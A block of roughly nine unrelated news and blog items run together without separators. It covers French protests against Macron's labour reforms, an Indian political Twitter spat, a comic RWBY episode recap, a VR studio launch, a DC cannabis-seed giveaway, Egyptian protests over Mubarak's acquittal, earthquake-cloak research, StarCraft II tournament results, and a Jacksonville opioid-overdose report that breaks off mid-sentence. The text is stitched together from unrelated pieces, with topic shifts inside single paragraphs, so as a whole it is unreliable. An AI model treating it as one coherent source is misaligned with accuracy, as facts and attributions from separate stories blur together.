In France, tens of thousands have rallied against labour reforms President Emmanuel Macron says will make hiring and firing easier. Jean-Luc Melenchon, the leader of the far-left ‘France Unbowed’, led the demonstration in Paris. He called on the trade unions not to give up the fight after earlier protests appeared to be fizzling out. “You’ll see that will be the start of something. It will ignite a desire to fight, a desire to come together. It’ll also be a march for dignity. It’s the insulted who are here. The so-called slackers, or drama queens. This is our reply,” said Melenchon. His response appears to be a reaction to a comment made by Macron in May, when he joked about the French neuroses. The controversial reforms, which have now been signed into law, will give companies more power over working conditions. However, opponents claim they are an attack on workers’ rights. Melenchon is, polls suggest, Macron’s strongest opponent.
New Delhi: Citing the Global Hunger Index, Rahul Gandhi has attacked the government in a veiled manner, evoking a sharp reaction from Union minister Smriti Irani who said the Congress vice-president was out to "malign" the nation in his bid to run down Prime Minister Narendra Modi. Gandhi tweeted a news report on the Global Hunger Index along with a Hindi couplet by poet Dushyant Kumar which read: "bhookh hai to sabr kar, roti nahi to kya hua, aajkal dilli mein hai zer-e-behas yeh mudda (If you are hungry, be patient, what if bread is not available, the issue is being discussed in Delhi." Irani, the Minister for Information and Broadcasting and Textiles, responded to Gandhi's tweet in a similar fashion. "Ae satta ki bhookh, sabr kar, aankde sath nahi to kya, khudgarzon ko jama kar, mulk ki badnami ka shor toh macha hi lenge (hey hunger for power, be patient, what if you don't have the numbers, you can collect selfish people, noise can be made to malign the country)," she wrote. In another tweet, she said, "Not surprising that in his keenness to run down the Honourable prime minister, Rahul Gandhi maligns the nation." Along with this tweet, Irani posted a statement by health minister JP Nadda which read, "Facts vs Fiction on Global Hunger Index to enlighten people who are keen to run down our country by twisting facts." Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
There comes a time in our lives when we have to decide what we truly want. For example, I want an infinite supply of Kit-Kats, a fashion sense Noel Fielding would be envious of, and for RT to finally release Day 5. For the characters of RWBY, I imagine they’d want things to stop being so sad and “oh god we’re about to die”-y all the time. Hang in there guys, the beach episode is coming, I’m sure of it! In this week’s recap of pain, Ruby goes to bizarre lengths to save her sister’s soul, Raven Branwen continues to exceed parental expectations in a way John Winchester would be proud of, and Pyrrha can’t escape her destiny, fall leaves, or montages. For previous episode recaps check out the RECAP MASTERPOST, but for your chance to win a shiny new set of steak knives, click the KEEP READING below! Cheers (all eleven seasons) to all those who read, laughed, liked, reblogged, shared, commented, absorbed via osmosis, snorted, sauteed with a side of mushrooms, took a magic carpet ride with, defeated seven evil exes for, suffered through Battle Before Dawn on Hector Hard Mode for, or genetically spliced a fly’s DNA with tragic results with last week’s recap. We’re two thirds into the season, which means - if my math isn’t failing me - we’ve got four episodes left, and if they’re anything like these last three, we’re in for a hell of a ride. Or, again, beach episode arc. Don’t think the traumatised fanbase would mind at this point, really. We begin the episode in Team RWBY’s dorm, as the team suffers through the comedy stylings of General James “Kramer” Ironwood. As you’d expect, the team is busy protesting Yang’s innocence - sans a silent Blake, who refuses to protest for anything less than an actual thing worth protesting, like a race war, or the unjust cancellation of the CW show Reaper. Thankfully, Yang isn’t, y'know, in jail or anything, and the whole thing’s being chalked up to stress and adrenaline. Ironwood relates the idea of seeing things on the battlefield - or after - while rubbing his potentially robot arm, so, y'know, hinty hint hint of some kind there. But in the end, it doesn’t matter if Yang believes Mercury attacked her first. The whole world saw otherwise, and the outcry’s worse than after Janet Jackson performed at the Superbowl. Her Vytal Festival tournament days are over. And so are Ironwood’s explaining of how Yang’s Vytal Festival tournament days are over. Ironwood away! It’s not surprising Ruby believes in Yang, but I feel that Weiss being the same is kind of underlooked in this week’s reactions by folk. The Weiss of Volume One would not have been so quick to support, if at all. But, not only has she grown as a person, this is her buddy Yang! They designed a ball and fought in a doubles rounds against two memes together! If that doesn’t forge a bond, what will? So now attention turns to Blake, in the throes of being her quiet self, and she… can’t join Ruby and Weiss on the midnight train to FreeYang2K16 Town. I wasn’t shocked at all by this, though the team are. But, I mean, c'mon! Blake sees a friend do something crazy and she thinks of her last friend who did something crazy. It’s exactly what people do when they’ve been through some crap: they doubt, they fear, they’d even start to wonder if they’re the root cause of it. Blake not believing in her made Yang cry, which was admittedly less fun, but the tears turn to happy once Blake does. Again, shocking no one. We don’t have time for a whole arc of the team being split up, there’s too much to do! In order to facilitate this doing of much things, RWB leaves Yang to her own devices. Out in the hall, the extended family members poke their heads out. We learn that, conveniently, Mercury and his team have been rushed off to Haven to be with Mercury’s family, so no one can get his side of the story, so Yang must be left alone to marinate for a while. Which, again, less fun, but I’m comforting myself with the fact this incident has RWBYJNPR coming together as one. Ruby especially wishes Pyrrha the best of luck, in a very “we’ll wish Cedric Diggory to win the Triwizard Tournament because he’s Hogwarts’s champion” kinda way, though hopefully that doesn’t end in a “kill the spare” way… But still! The family. The feels. These recaps became 150% RWBYJNPR OT8 4EVA trash since the start for good reason, and this is it. Unfortunately, like most families, they’re so focused on one troubled younger sibling’s drama to notice the redheaded middle child’s got problems of her own. And so, Ruby plans to head off to the coliseum, and Blake and Weiss bail from watching anymore fight scenes to go get some caffeinated beverages. Or whatever. Back in the JNPR dorm - flawless shifting from RWBY focus to JNPR in the scene, by the way - Nora begins to get Pyrrha pumped for her fight. Real pumped. Pumped with style. Thankfully, she’s stopped before she can get to the Kegel exercises by Ren, finally giving in to the madness and getting a bit whacky himself. (Side note: Nora saying that P-Money’s fight might be “the most important fight of your entire life"… Hah.) Guys. Guys. Guys. Look. Apron-wearing Ren confirmed. That’s just defeatist talk, P-Money. Misty came back for a one-off special and then, like, two episodes a season later! And THEN never again! Ren thinks Pyrrha’s mood is caused by concern for Yang - why would it be they’ve had like half a second of interaction together - and tries to poison her with some algae-filled deliciousness. Ugh. Who knew that under all his sane pink-streaked glory, Ren was secretly a health nut hipster. No wonder Nora jumps onto the straight man role here. Which is rather nice, actually, seeing Nora actively holding Ren’s crazy back instead of the usual. Makes them feel more equal-y. In fact, the whole scene was rather nice overall. More team feels! And although I loved it, trust me I did, the fact that was exclusively Nora and Ren interacting with Pyrrha just sent so many "hey let’s have this happen before she dies/gets soul merged” kind of flags it hurt. Yeesh. Jaune, who had been watching on in silent horror, steps in when he sees Pyrrha’s smile disappear again. So the team heads out for a day, united as the Three Musketeers (see, that line’s funny because there’s actually four musketeers), and a forlorn Yang fornlornly watches, forlorn. And is watched on by her drunken uncle. Who she probably smelled entering the room before actually she heard it, tbh. Torchwick’s been in prison so long he’s discovering religion, just like Paris Hilton. #FreeTorchwick2K16 City, Population: Me. Also, side note: it’s kinda weird how used to Qrow I am at this point. This is a guy who’s appeared in every episode since his first appearance in V3C2 and done some pretty meaty scene work since then. He’s very much less this mythical figure turned mythical presence, and is now just another guy hanging out, y'know? Like, when I first saw him I was like, “That’s the Qrow?! Dude!” and now I’m like, “Sup.” It’s nice. So yeah, Qrow comes in swinging, accusing Yang of either being an assaulting assault who assaults things, or just regular crazy. Not quite sure if he’s just being blunt or sarcastic, or both, but he’s also vaguely on his least favourite niece’s side, so. Either way, Yang changes the subject with great gusto, to finally address the Raven-sized elephant in the room. Yang talks about how Raven saved her from Neo, and Qrow knows she didn’t say a word in the process. Why? ‘Cause she keeps in touch with her brother, and not her daughter. And does so whenever she pleases. What. Again: What. I mean, it’s kind of obvious or whatever, but at the same time, we never really thought Qrow was just going to say one day, “Oh btw your mom said hi.” Instead, you’d expect some grave mystery, some resentment or guilt that makes him dramatically never ever speak her name, and now Yang’s pressing on an open wound blah blah. But nope. Raven talks to Qrow, Qrow doesn’t tell anyone. This is all there is. And recently, quoth the Raven had a tip for Qrow’s most recent assignment - boy that’s ominous - and left a message for Yang in the process. The message does not make Raven sound like a particularly fun person to hang out with at parties. She’s saved Yang once, but she shouldn’t expect the same kindness again. Like it was inconvenient to her to save her daugher’s life in the first place. Jesus Christ, Raven, you’re writing the goddamned instruction manual on how to be a crappy parent, the actual hell. Qrow explains this kind of behaviour from his sister is just Raven being Raven. She’s got “interesting” ways of looking at the world, to a point where even noted cynic Qrow doesn’t agree with. And, to top it all off, she’s dangerous. And while that doesn’t scream good person, it does belt out an hour long opera on the possibilities of a great character that I can’t wait to meet for more than a minute, dayum. Also, there is a slim possibility of Qrow being biased against his sister for reasons unknown, so maybe there’s a good explanation for her general life choices? For example, Daftprodigy here on Tumblr had a great theory about Raven’s Semblance being the reasons she is the way she is. I’m personally angling towards Raven’s issues being somehow Maiden-related, given how it would tie into things so far this volume. Maybe Summer was involved, maybe not. Or maybe she’s not a good guy. We’ve had people theorising up and down about Raven possibly being in league with Cinder, or her boss, or a competitor with the same end result of… whatever. She’s something, that Raven. And, again, I’m definitely looking forward to meeting her properly… Which may happen very soon. Like next couple of episodes soon! Qrow tells Yang to forget the incident at the tournament, because he has a lead on a possible location for Raven. And now it’s time for the buddy comedy we’ve all been waiting for. Hells to the yeah. I love how this volume is coming together. We’ve gotten our Weiss arc, we’re waist deep in arcs for Yang and Pyrrha, we might be swinging by a quick Blake arc should Adam come along to ruin her and Weiss’s tea party, and then circle back into a Ruby development arc by the end of all this. Speaking of the Pyrrha arc, we now move on to find poor Pyrrha, who is being tormented to near Hitchcockian/Sam Raimi levels, both by the seasonally appropriate foliage - - and flashes of her destiny. Before she can get assaulted with further reminders thanks to a nearby bottle of maple syrup, something even sweeter shows up. Aww Jaune, you romantic. If there’s any way to declare your romantic intent, it’s by giving cotton candy to them. It’s a real “I’ll love you even if all your teeth fall out” statement! A nearby Nora shepherds Ren away from interrupting the fun, thus proving she was secretly the ultimate wingman all along. I’ve seen a fic or two where Cardin Winchester repays his debt to Jaune by getting him laid, but now we need the Nora versions. That chick would have detailed plans, plots, and schemes. Yeah, I may make jokes about how much I miss Blake and Torchwick this volume, but the real loss is the annual nighttime rooftop scene for these two. Really letting down the team. Speaking of someone who constantly lets down teams - dodgeball ones mostly - Jaune decides to encourage Pyrrha in a heartfelt way by reminding her of what it means to believe in someone. Belief is something of a recurring theme for this episode, be it Team RWBY in Yang, everyone in Pyrrha, and now Pyrrha in Jaune’s comes to the forefront as he tries to help her. Also, side note, one of the greatest things this episode did is confirm that Jaune’s parents know he’s at Beacon. No more “Jaune steals his family’s sword and runs away” plots in fics, no more “Why aren’t Jaune’s parents seeing him on TV fighting in the tournament and coming to get him?” questions from people. Nope. They know he went to Beacon, they just didn’t believe in his ability to stay there. Ouch. Thank Dust for P-Money, who gets something of a reward for all her troubles. D'aww. The cotton candy is abandoned completely as Jaune gets to his point: Pyrrha believed in him, and it meant something to him. Just as Jaune treated Pyrrha like a normal girl, and that meant something to her. The parallels, the symmetry, the complimentary nature of these two… here and now, they’ve never seemed more together, two brilliant flames flaring brighter in each other’s presence, beating back the darkness as long as they can. Jaune just wants to help, and while there’ll come a time in like two minutes when his earnestness gets him magnetically thrown into a wall, it’s not now. Just being himself - a himself that’s had to grow so damn much emotionally, and is nailing it now - is enough for The Invincible Girl. You finally did it, RWBY. You finally made me well and truly want to call them an OTP. And yeah, it’s probably only because I know it’s going to end in tears, but still. Way to go. You finally did it, RWBY. We’ll all be crying soon. I have some pretty solid jokes planned for the rest of the recap not gonna lie, but… are they worth acknowledging what happens next? We end it here and call it a day, and we’re saved quite a fair amount of pain. We could create new adventures out of all the screencaps of everything so far! How The Torchwick Stole Christmas! Invasion Of The Shadowy Background People! Sage’s Odyssey, Volume Six! And Pyrrha and Jaune stay there, and their lives will be forever autumn… Which is probably what the conspiring local fall leaf population wants. For their secret plans, plots and schemes. The moment can’t last. The recap continues. P-Money is snapped back to reality. Oh, there goes gravity. And now she tries valiantly to broach the topic of her impending doom with her J-Bank. For all her life, Pyrrha has believed destiny - there’s that belief theme again - to be a final goal, and herself to be Destiny’s Child, just without the infighting and diva-ness. She didn’t expect what that destiny would look like, in the end. She didn’t expect that she’d find friendship and love, and that she might have to sacrifice them and get her soul devoured by a hungry hungry Fall Maiden’s soul hippo. The uncertainty is killing her, and not even Jaune’s attempt to call back to the Volume Two Opening by putting his hand on her shoulder works. It doesn’t work. She’s too caught up in just how messed up her situation is. I summed up a couple of recaps ago just how crazy screwed up the position she’s been put in by Ozpin’s gang of peer pressurers, but damn, man, this hurt. And Jaune has no idea how to handle her freaking out. But he tries anyway. Something best intentions something paved roads to hell something. He has no reason to believe her doubt over saving the world has anything to do with her very sense of self getting unselfed, so he encourages her. She can’t let anything stand in her way. Yeah, no need to be a downer, Pyrrha. With your powers you can do some real good, like bring back the CW show Reaper! Look, that show had Ray Wise as the Devil! It does not get much better than that. Oh, and speaking of the devil, the writing here is like a solid kick in the crotch region. Jaune sincerely thinks he’s doing the right thing in believing in her, and we love him for it, but all Pyrrha can hear is that he’s telling her it’s cool to go off and go full Ambyrrha. Her emotions are off the charts, and Jaune’s attempts to comfort her just sets her off in a way we’ve never seen from her. Jaune is sent flying into the nearest - hopefully not load bearing - column. Which, again, just ouch. And not just Jaune’s spine. Our hearts will not go on after this one. Although, probably a good thing they weren’t on a roof, huh. Also, many feet below the school, Amber sighs because P-Money just screwed up her future chances with the best blonde noodly guy in town. He brought you cotton candy! C'mon Pyrrha! It’s crazy how much this parallels their other arcs. Like, in Volume One Jaune’s problems and doubts made him push Pyrrha away as she tried to help, and in Volume Two, it was both of them that were having the problems. And now it’s Pyrrha having problems, and Jaune being pushed away… It’s like a perfectly palindromic bar graph or something. Of pain! And she runs. She runs because she’s sorry, because she’s lost, because she’s facing a life-changing choice. Redhairedvictor summed it up best about Pyrrha being at Achilles’s crossroad, and unfortunately this thing does have the Greek tragedy vibes going strong. And she’s left poor Jaune, who’s of course already forgiven her and still cool to go steady, to wonder just what the hell happened. Across the campus, where things are less painful, Ruby gets in line to catch a ride to Amity Colosseum, and then catches something else: a Pokemon Snap cosplayer in her natural habitat. It’s our favourite bunny person, and we find her taking pictures of our favourite monkey person. Velvet’s doing something new, so… good for her! Ruby heads on over to say hello - - and gets a glimpse of what the Fatal Frame Bun’s future collage is going to look like. Velvet’s a real Britta when it comes to her photography, as it turns out, but I’m sure there’s a reason for it. Like the common consensus that she was taking a picture of Sun’s weapon - no, not his abs, the less effective bo staff shotgun nunchunks - instead of just a bad one of him. Since the camera goes into her dreaded box, there’s all kinds of wild theories involving her being able to conjure copies of what she has photos of or whatever, basically Unlimited Blade Bunny Works. Not bad for a character originally meant to be a one-off way back when. But that’s enough of that. Velvet helpfully informs Ruby about Coco’s own hallucinatory experience on the battlefield against Emerald and Mercury. To her credit, Detective Rubabble starts to put the pieces together almost immediately. She’s got a good mind for the detective game, just not the alcoholism and noir monologues. Not yet, anyway. Oh, and Velvet snaps her picture, the nerd. I’m sure that won’t come up at some point. Now to Amity Colosseum, on the eve of another, hopefully less broken leg-y, battle. Ruby takes her seat by herself, with Yang off buying Cheetos for her road trip with Qrow and Weiss and Blake no doubt staring at each other lovingly across a plate of scones, and then locks eyes with a familiar face all the way across the stadium… A familiar face that’s supposed to be in Haven! Oh no! Ruby bails for the nearest maintenance tunnel, and then sees yet another familiar face. Just so we’re clear, Mercury was told to “lay low until the end” by Cinder. Hanging out in maintenance tunnels is laying low, and the end may be a little sooner than expected, so it’s no big deal he’s there. Yeah, there’s a chance this Merc is just Emerald’s semblance at work - or Neo, I’m sure someone’s theorised with complete seriousness - but still. It’s more of a problem for Ruby, really… 'Cause, like any good noir detective, she’s at the wrong place at the wrong time. Her mind races as she hears the match-up happening in the stadium, and, as Mercury prepares every murdering bone and bolt in his body, Ruby realises what’s about to happen. Bad things. Bad things are about to happen. Because who’s in the fight to come? The stars of Cinder’s newest episode of Remnant Freaks Out? Why, it’s exactly who we’ve expected. And yet, the scary scary music does not make us feel any better about this actually happening. Because it is. Happening. Something I remember writing down as a half-thought notion in my Volume Two Opening Recap. Something that’s been building in our heads as a possibility for drama, a potential for tragedy, a likelihood for tears. Pyrrha Nikos V Penny Polendina. Place your bets. I bet on pain. So here we are. On the eve of the war, five minutes to midnight, and, well, I’ve got something surprising to say: I don’t think either Pyrrha or Penny are dying in this fight. Yes yes, I know, it’s still me writing this, don’t worry. The thing is, as ouchy as it’d be, there’s still four episodes left, and I just don’t kinda see something so permanent happening and then we get three episodes of aftermath of a big death. One episode or two of aftermath mixed in with the more traditional-y finale thing, maybe, but not three. It helps that four whole episodes feels like enough time to do some wild stuff; yes, maybe either of the Doomed P-Named Duo are taken out here so that Team RWBY can take over the arc prominence until the end, but I don’t super really think so? Like, something bad that’s going to happen in this fight, duh. Cinder’s planning for it, we’re all expecting it, it just seems inevitable. Pyrrha’s unchecked emotions could cause her to trash Penny, Penny could get taken over by Cinder and have to be put down, et cetera. The aftermath of this will have Grimm bash down some kingdom walls, Adam’s White Fang do their thing, and probably somehow end with Amity Colosseum finally falling out of the frickin’ sky… Usual stuff. We don’t know the specifics, however, but a death might not be it. It could lead Pyrrha down the path of accepting her destiny and dying (either actually or soul-y), yeah, but I have a good feeling about Penny’s survival chances, if only for one thing: she said in V3C5 she has a plan to stay at Beacon forever. That kind of line is put in there for one of two set-ups. Either Penny gets a chance to execute that plan (maybe in a way no one expects when she becomes the new P on JNPR come Volume Four if that’s how it goes), or she calls back to it in some kind of sad death quote as she shuts down in Ruby’s arms. That kinda thing. And there’s other stuff to consider, for sure. Like Emerald’s part in this, and Mercury’s. Are they there to finish the job on one of the girls if they don’t die? Are they there just to cause chaos? Secure an exit? Is Emerald going to use her mind semblance on Pyrrha in some way to make her go all out on Penny in a new way (Like, making it look like Penny’s attacking Jaune…)? What’s Ruby’s part in this? Will she be able to stop the fight and save her friends? Meanwhile, are Blake and Weiss about to get targeted? A former White Fang member and a Schnee seem like ripe targets for some kind of shenanigans, so… Also, will Yang and Qrow’s hunt for Raven be shown here or pushed back? How’s that all going to connect? And will the episode end on a horrible cliffhanger and then we’re doomed for a two week hiatus? That one’s probably a yes… Yeesh. This is just going to be a thing. Maybe even a thing and a, dare I say it, half. I can’t believe things are getting this intense. Yeah we dreamed of such possibilities way back when, but to see it playing out? The uncertainty of what’s in store? That’s just wild. And we’ve still got like over an hour of the season left to play out… A lot of things can happen in that amount of time. Just look at the back half of Red Vs Blue Season 13. Oh god. Is next episode going to be RWBY’s Armonia Part Two? Miles why. Kerry why. RWBY why. Time to pull on out with my sanity intact. Best of luck with the next episode, no matter what happens - c'mon beach episode! - and thanks all for reading!
Just earlier today, Justin Roiland, the creator of the comedy sci-fi show Rick and Morty, announced a new VR games company with a comic. The new VR studio, Squanchtendo, has been founded by the aforementioned Roiland as well as Tanya Watson, an ex-producer at Epic Games who worked on series like Gears of War and Bullet Storm. According to the official site, the studio is devoted to creating games that they would want to play themselves along with creating experiences that people want to share. Squanchtendo is currently looking to hire interested candidates in all areas from production, design, and VR development. Roiland is no stranger to video games, as Rick and Morty has previously referenced gaming in all sorts of ways. One clip famous among gamers features Rick scheming to flip Nintendo's limited edition Majora's Mask New Nintendo 3DS XL for cash, a reference to the famously high demand the system had in real life. Earlier this year Rick and Morty even got its own smartphone game based on Pokémon, where players capture and battle more than fifty different versions of Morty, called "Pocket Mortys." But Virtual Reality isn't unfamiliar to Roiland either. Rick and Morty once featured an impressively forward-thinking bit about a VR game called "Roy," where players live out the entire life of some guy named Roy, bending their perception of in-game time to extend an entire human lifetime. More recently Adult Swim announced a Rick and Morty VR game called Virtual Rick-ality, which you can learn more about right here. With the news of Squanchtendo, it would seem Roiland is more serious about virtual reality than just a few cartoon gags. Perhaps Roy will become a reality one day. You can find the comic Roiland created to announce Squanchtendo below. If you're interested in more information, Squanchtendo's official site gives a good look at the company through the lens of the humor stylings of Roiland.
Fresh off last weekend’s “smoke-in,” pro-pot activists plan to return to the White House this weekend—but this time to give away free cannabis seeds. Last Saturday, about 200 people protested the government’s pot laws by gathering in front of the White House. At 4:20 p.m., the group started smoking marijuana as an act of civil disobedience. The whole thing was topped off with a massive, 50-foot-long inflatable joint that protestors carried like a parade float. Now, it looks like the White House’s pot-themed activity isn’t over yet. Instead of smoking marijuana, however, this weekend’s event is all about growing marijuana. What time are the free cannabis seeds being given away? Starting at 4:21 p.m. this Saturday, right in front of the White House, people can show up and get free cannabis seeds. They can also bring cuttings from plants they’re already growing and trade them with others, or give them away to somebody else. The whole idea is to allow people easy and free cannabis seeds and plant material so they can grow their own cannabis plants. The seed giveaway is being planned as another form of protest against marijuana prohibition. But organizers also see it as an effort to build the cannabis community. The event is being organized largely by the activist group DCMJ. That group helped push to get marijuana legalized in Washington, D.C. DCMJ will also be teaming up with other cannabis activists and groups for this weekend’s free cannabis seeds giveaway. Where can you get the free cannabis seeds? They’ve put on similar events in the past. Usually the free cannabis seeds giveaway takes place in a private residence or a bar, but this year they decided to be as open and public about it as they could. So they chose to have the event in the same place as last weekend’s protest: right in front of the White House. “We decided to keep the pressure on the president,” said DCMJ co-founder Nikolas Schiller. Schiller also said that at last weekend’s smoke-in, “people broke the law by openly consuming in order to change the law.” “The free cannabis seeds, on the other hand, is about complying with the law and giving others the freedom the law allows.” In Washington, D.C. it’s legal for anyone older than 21 to possess up to two ounces of marijuana. And people living there are allowed to grow up to six marijuana plants in their homes. (Photo Credit: TechTimes)
CAIRO (Reuters)- - Protests erupted at universities across Egypt on Sunday, condemning a court decision to drop criminal charges against Hosni Mubarak, the president whose ouster in the 2011 uprising raised hopes of a new era of political openness. Anti-Mubarak protesters shout slogans against government and military rules after the verdict of former Egyptian President Hosni Mubarak's trial, around Abdel Moneim Riad square in downtown Cairo November 29, 2014. REUTERS/Amr Abdallah Dalsh Hundreds of demonstrators gathered at Cairo University, waving pictures of Mubarak behind bars and demanding the “fall of the regime”, the rallying cry of the Arab Spring uprisings that shook governments from Tunisia to the Gulf in 2011. Police stood ready at the gates to bar students that sought to take their demonstration into the streets. An Egyptian court on Saturday dropped its case against Mubarak over the killing of protesters in the 2011 uprising that ended his 30-year rule. The ruling was seen by activists as the latest sign that the rights won during the revolt are being eroded. While the decision could be met with a rebuke from Washington, it is unlikely to upend a relationship that has strengthened during the U.S.-led campaign against Islamic State. Cairo’s strong public support for the campaign demonstrates how far Egypt has come in restoring its place as a premier U.S. partner in the Arab world since last year’s authoritarian crackdown in Egypt and military takeover. Although the United States was a proponent of the Arab Spring, Washington in June renewed ties with Cairo and its current government, led by another strongman, Abdel Fattah al-Sisi. In Tahir Square, the symbolic heart of the revolt that ousted Mubarak, two people were killed and nine were wounded on Saturday evening, when security forces fired tear gas and birdshot to disperse about 1,000 protesters who attempted to enter the area. Security forces closed a Cairo metro station, the state news agency said, an apparent effort to prevent gatherings downtown. Clashes also erupted at Zagazig University in the Nile Delta, and the state-owned Al-Ahram newspaper said 11 students were detained after setting fire to a building. Many Egyptians who lived through the rule of former airforce officer Mubarak view it as a period of autocracy and crony capitalism. His overthrow led to Egypt’s first free election. But the winner, Mohamed Mursi, was ousted last year by Sisi, another military officer who won a presidential vote in May. Egyptian authorities have since jailed Mursi and thousands of his Muslim Brotherhood supporters, sentencing hundreds to death in mass trials that drew international criticism. By contrast, Mubarak-era figures have been released and new laws curtailing political freedoms have raised fears among activists that the old leadership is back. Related Coverage Muslim Brotherhood leaders jailed for insulting court a day after Mubarak verdict “Down with Hosni Mubarak, down with every Mubarak, down with military rule” said one Facebook page that called for protests against the ruling. The verdict has also prompted a deluge of online cartoons about the return of the old guard. One animated video begins with a group of Mubarak-era politicians in a darkened cell facing an array of charges. One by one they are released and end up celebrating their freedom with their former president, singing “yes, we are back”.
Research at the University of Liverpool has shown it is possible to develop an ‘invisibility cloak’ to protect buildings from earthquakes. The seismic waves produced by earthquakes include body waves which travel through the earth and surface waves which travel across it. The new technology controls the path of surface waves which are the most damaging and responsible for much of the destruction which follows earthquakes. The technology involves the use of concentric rings of plastic which could be fitted to the Earth’s surface to divert surface waves. By controlling the stiffness and elasticity of the rings, waves travelling through the ‘cloak’ pass smoothly into the material and are compressed into small fluctuations in pressure and density. The path of the surface waves can be made into an arc that directs the waves outside the protective cloak. The technique could be applied to buildings by installing the rings into foundations. Sebastien Guenneau, from the University’s Department of Mathematics, who developed the technology with Stefan Enoch and Mohamed Farhat from the Fresnel Institute (CNRS) in Marseilles, France, explained: “We are able to ‘tune’ the cloak to the differing frequencies of incoming waves which means we can divert waves of a variety of frequencies. For each small frequency range, there is a pair of rings which does most of the work and these move about a lot – bending up and down – when they are hit by a wave at their frequency. “The waves are then directed outside the cloak where they return to their previous size. The cloak does not reflect waves – they continue to travel behind it with the same intensity. At this stage, therefore, we can only transfer the risk from one area to another, rather than eliminate it completely.” He added: “This work has enormous potential in offering protection for densely populated areas of the world at risk from earthquakes. The challenge now is to turn our theories into real applications that can save lives – small scale experiments are underway.” Seismic waves also include coupled pressure and shear body waves which are less destructive than surface waves. Sebastien Guenneau and Sasha Movchan at the University of Liverpool, together with Michele Brun at Cagliari University, have designed an ‘elastic’ cloak to protect against these particular seismic waves and the team is currently seeking a suitable material to accommodate the elastic parameters of the cloak.
Whomever coined the classic boxing adage "Styles make fights" would have loved to watch last weekend's upset-filled MLG Dallas Starcraft II tournament. Read on for the results, an explanation of "micro" and "macro", and a lesson in swagger from the Street Fighter competitive scene. Plenty of upsets at MLG Dallas The $6,250 prize must have lured a few top players all the way out to Dallas, because out of the top eight seeded players, only one of them (Andrew "drewbie" Mosey) ended up placing in the top eight at all. Instead, both of the previous MLG champions (Chris "HuK" Loranger and Greg "IdrA" Fields) were knocked out in stunning fashion. IdrA was sent to the Loser's Bracket in a close 2-1 set against Team Liquid founder Victor "Nazgul" Goossens, where he subsequently lost to Hyung-Hyun "SeleCT" Ryoo, while HuK lost to his fellow Team Liquid players Jos "Ret" de Kroon and Dario "TheLittleOne" Wunsch. The finals match was a rather one-sided affair between MSI-sponsored Payam "FNatic.TT1" Togyan and Jonathan "LiquidJinro" Walsh, the latter winning the Protoss vs. Terran series 4-1 by shutting down TT1's relentless Colossus play with plenty of Marines, Marauders, Banshee attacks, and well-timed Raven attacks. Team Liquid takes it home Team Liquid was in full effect this weekend, demonstrating why their clan name is practically synonymous with the phrase "professional gamer" as their members took 1st (Jinro), 4th (Tyler), 5th (TheLittleOne), and 7th place (Ret). Not bad, considering this was the first time most of their members had competed in the MLG. Technical difficulties plague Grand Finals The spectacular Starcraft II play we saw this weekend was overshadowed only by some unfortunate technical issues that forced the finalists to replay the last finals match. Unlike the original Starcraft, Starcraft II: Wings of Liberty doesn't allow players to play over a LAN connection. Instead, all games have to first connect to Blizzard's Battle.net servers--which means that they're susceptible to the lag and unreliability that comes with an Internet connection. This has frustrated the hardcore gaming community since Starcraft II's launch--seeing Jinro and TT1 lag out of a game with over $6000 at stake was the pro gaming equivalent of seeing the World Series get rained out, and unlike a baseball game, Starcraft II doesn't let you save and reload a multiplayer game. Instead, the fans waited over an hour for MLG to troubleshoot and repair their Internet connection, and the game had to be restarted from the very beginning. Explaining the Game: Micro/Macro Not following the announcers when they refer to a player's "micro" or "macro" skills? We've explained the difference between the two briefly in How To Dominate Starcraft II, but it's worth a quick refresher. Micro and Macro are shorthand for "micromanagement" and "macromanagement", and they're used to refer to two different skill sets that a player needs to master. "Micromanagement" refers to a player's ability to maneuver individual units or small groups of units in battle so they can maximize the damage they deal, take and hold an advantageous position, use their individual skills, and minimize the damage they receive. With solid micro skills, you can win battles you wouldn't normally be able to win. When Nazgul beat IdrA this weekend, he was using the Protoss Stalker's teleport ability ("Blink") to warp his units onto high ground and retreat the damaged units out of combat so they could regenerate their shields. Macro, meanwhile, refers to a player's ability to build and maintain a strong army by mining resources, quickly spending those resources on units and upgrades, aggressively taking expansions, and building plenty of unit-producing structures so you can quickly replace any units you lose. No matter how well you can micromanage your units, you're probably going to lose to a player who can produce an army that's stronger and larger than yours. Macro players typically favor the later stages of a game--Taylor "PainUser" Parsons, for example, took third place with a style that favored longer, drawn-out games which gave him more time to out-produce his opponent. Starcraft II: No Swagger Allowed Despite the high sports drama of a Starcraft II match, the tournaments themselves are usually a relatively tame affair--outside of typing "GG" ("Good Game"), players rarely even make eye contact after a match. Not so in the competitive Street Fighter II scene, however. The Southern California regional championships were held this weekend, and Japanese player Tokido put on a show for the audience by mimicking his character's finishing move:
JACKSONVILLE, Fla. - Deadly doses of heroin and other opioids are taking more lives than car accidents in this country. The I-TEAM has uncovered these overdoses are happening all over Jacksonville, too. In fact, the numbers are skyrocketing all over Duval County. There is a dangerous mix now making matters worse. Heroin and other drugs are being mixed with fentanyl -- a synthetic opioid. Fentanyl is being added because it gives the user a greater high. It's the same dangerous mix that literally killed a man who was on his way to Jacksonville to get treatment for his long-time addiction. "I purchased some heroin and it turned out it was fentanyl. I went into the restroom I snorted it up my nose," Alan Lemke told the I-TEAM. Lemke was at the airport in Kentucky, about to check into his flight for Jacksonville, when he took one last hit before he got clean. "I walked out to American Airlines counter looked about to check in and the next thing I know I'm on a stretcher. I didn't understand what was going on," he said. Lemke was dead for 10 minutes -- brought back to life when first responders gave him Narcan and adrenaline to counteract his overdose. "It was bad. It really scared me. It still scares me now," he said. UNCUT: Alan Lemke on his addiction, recovery "There is no illness, no disease -- car accidents, nothing -- that is killing more people from the ages of 25 to 55 years of age in the United States," said Dr. Marcus DeCarvalho, the medical director at Beaches Recovery where Lemke is now getting treatment. Carvalho says every day, more patients are being saved with the opioid reversal drug, Narcan, also known as Naloxone. It has been a proven lifesaver here in Jacksonville. On average, every two hours, the Jacksonville Fire Rescue Department gets a call to respond to a heroin or other opioid overdose. "When we are going to people with needles still in their arms, it's because the drug works that fast. It is absolutely within seconds. Within seconds, it can knock out someone's breathing," explained Lt. Mark Rawley with JFRD. By the numbers The Jacksonville Fire and Rescue Department tracks emergency overdose calls. In the last six months of 2016, from September. to December, JFRD took 473 overdose calls. "Overdoses have increased, they have more than tripled in the past two years. Our call average is increasing on average 12 percent a year, but our overdoses are increasing three-fold," said Rawley. JFRD says in 2015, they had 2,114 overdose victims. In 2016, that number jumped to 3,411. While 